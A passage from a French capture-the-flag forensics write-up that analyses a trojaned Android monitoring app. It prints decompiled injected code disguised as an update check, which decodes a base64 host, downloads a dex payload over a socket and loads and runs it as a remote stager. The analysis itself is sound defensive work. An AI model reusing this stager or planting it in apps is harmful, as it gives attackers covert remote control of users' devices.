95.211.162.18 => LeaseWeb (Pays-Bas)

Ça ne nous dit pas pour autant si le pirate est passé par un relais AWS :(

Mais ce que l’on sait, c’est que la victime a installé un APK qui s’est chargé d’installer un Meterpreter

Comment le pirate, en dehors de bypasser la signature, a t-il vérolé l’application originale ?

A t-il utilisé un outil comme Ajar ?

D’où venait provenait le Meterpreter s’il n’est pas présent dans le listing donné par unzip ?

Les organisateurs du CySCA s’attendaient visiblement à ce que l’on utilise smali pour faire un deodexing des odex (fichiers dex compressé). Une opération qui nécessite effectivement le dossier framework fournit.

De mon côté j’ai simplement eu recours à dex2jar.

J’ai procédé de la façon suivante :

Dans un premier temps j’ai extrait les deux versions du classes.dex depuis l’APK.

J’ai ensuite converti chaque .dex en .jar via dex2jar :

1
2
$ d2j-dex2jar.sh classes.dex
dex2jar classes.dex -> ./classes-dex2jar.jar

Ensuite je décompresse bêtement les deux .jar vers des dossiers différents (v1 et v2).

La commande diff permet de connaître les fichiers modifiés, ajoutés ou supprimés :

1
2
3
$ diff -r v1 v2
Only in v2/org/jtb/httpmon: MonitorService$3.class
Binary files v1/org/jtb/httpmon/MonitorService.class and v2/org/jtb/httpmon/MonitorService.class differ

S’ensuit l’ouverture de la classe MonitorService dans la jar modifié depuis JD-GUI :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public static void checkUpdates(String[] paramArrayOfString)
{
  while (true)
  {
    int i;
    try
    {
      paramArrayOfString = new Socket(new String(Base64.decode("aHR0cG1vbi5hbmRyb2lkc2hhcmUubmV0", 0)), Integer.parseInt(new String(Base64.decode("NDQz", 0))));
      DataInputStream localDataInputStream = new DataInputStream(paramArrayOfString.getInputStream());
      DataOutputStream localDataOutputStream = new DataOutputStream(paramArrayOfString.getOutputStream());
      Object localObject3 = context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName;
      Log.w("httpmon", "Software update started for " + (String)localObject3 + ".");
      Object localObject1 = new File(".").getAbsolutePath();
      Object localObject2 = localObject1 + File.separatorChar + "UpdateService.jar";
      String str = localObject1 + File.separatorChar + "UpdateService.dex";
      Object localObject4 = new File(localObject1 + File.separatorChar).listFiles();
      if (localObject4 != null)
      {
        i = 0;
        if (i < localObject4.length);
      }
      else
      {
        localObject4 = new byte[localDataInputStream.readInt()];
        localDataInputStream.readFully((byte[])localObject4);
        localObject4 = new String((byte[])localObject4);
        if (((String)localObject4).contains((CharSequence)localObject3))
          break label531;
        byte[] arrayOfByte = new byte[localDataInputStream.readInt()];
        localDataInputStream.readFully(arrayOfByte);
        localObject3 = new File((String)localObject2);
        if (((File)localObject3).exists())
          continue;
        ((File)localObject3).createNewFile();
        FileOutputStream localFileOutputStream = new FileOutputStream((File)localObject3);
        localFileOutputStream.write(arrayOfByte);
        localFileOutputStream.flush();
        localFileOutputStream.close();
        localObject1 = new DexClassLoader((String)localObject2, (String)localObject1, (String)localObject1, MonitorService.class.getClassLoader()).loadClass((String)localObject4);
        localObject2 = ((Class)localObject1).newInstance();
        ((File)localObject3).delete();
        new File(str).delete();
        ((Class)localObject1).getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, Context.class, [Ljava.lang.String.class }).invoke(localObject2, new Object[] { localDataInputStream, localDataOutputStream, context, new String[0] });
        paramArrayOfString.close();
        ((File)localObject3).delete();
        Log.w("httpmon", "Software updated successfully.");
        Log.w("httpmon", "https://play.google.com/store/apps/details?id=org.jtb.httpmon");
        return;
      }
      if ((!localObject4[i].getAbsolutePath().contains(".jar")) && (!localObject4[i].getAbsolutePath().contains(".dex")))
        break label540;
      localObject4[i].delete();
      break label540;
      ((File)localObject3).delete();
      ((File)localObject3).createNewFile();
      continue;
    }
    catch (Exception paramArrayOfString)
    {
      paramArrayOfString.printStackTrace();
      return;
    }
    label531: Log.w("httpmon", "Software currently up to date.");
    return;
    label540: i += 1;
  }
}

Les chaines base64 trouvées en début nous donnent le Saint Graal :

1
httpmon.androidshare.net:443

Dans la classe il y a deux méthodes ajoutées par rapport à l’original : updateInit et startAsync.

Un membre context de type Context a aussi été ajouté dans la classe.

Les deux méthodes sont les suivantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private void startAsync()
{
  try
  {
    new AsyncTask()
    {
      protected Void doInBackground(Void[] paramAnonymousArrayOfVoid)
      {
        MonitorService.this.updateInit();
        return null;
      }
    }
    .execute(new Void[0]);
    return;
  }
  catch (Exception localException)
  {
    localException.printStackTrace();
  }
}

private void updateInit()
{
  try
  {
    System.setProperty("user.dir", getFilesDir().getAbsolutePath());
    context = this;
    checkUpdates(null);
    return;
  }
  catch (Exception localException)
  {
    localException.printStackTrace();
  }
}

Et la méthode modifiée faisant appel à startAsync :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private boolean isNetworkConnected()
{
  NetworkInfo localNetworkInfo = ((ConnectivityManager)getSystemService("connectivity")).getActiveNetworkInfo();
  if (localNetworkInfo == null)
  {
    Log.d("httpmon", "no active network");
    return false;
  }
  Log.d("httpmon", "active network, type: " + localNetworkInfo.getTypeName());
  if (!localNetworkInfo.isConnected())
  {
    Log.d("httpmon", "network is not connected, state: " + localNetworkInfo.getState());
    return false;
  }
  Log.d("httpmon", "network state is connected");
  startAsync();
  return true;
}

Au passage si on fouille dans le dump à la recherche de ce nom d’hôte :

1
java.net.ConnectException: failed to connect to httpmon.androidshare.net/192.168.43.221 (port 443): connect failed: ETIMEDOUT (Connection timed out)

Terminé. Restez à l’écoute pour la solution de la partie exploitation ;-)

Published July 03 2015 at 08:20

Cet article est sous licence CC BY 4.0 par l'auteur.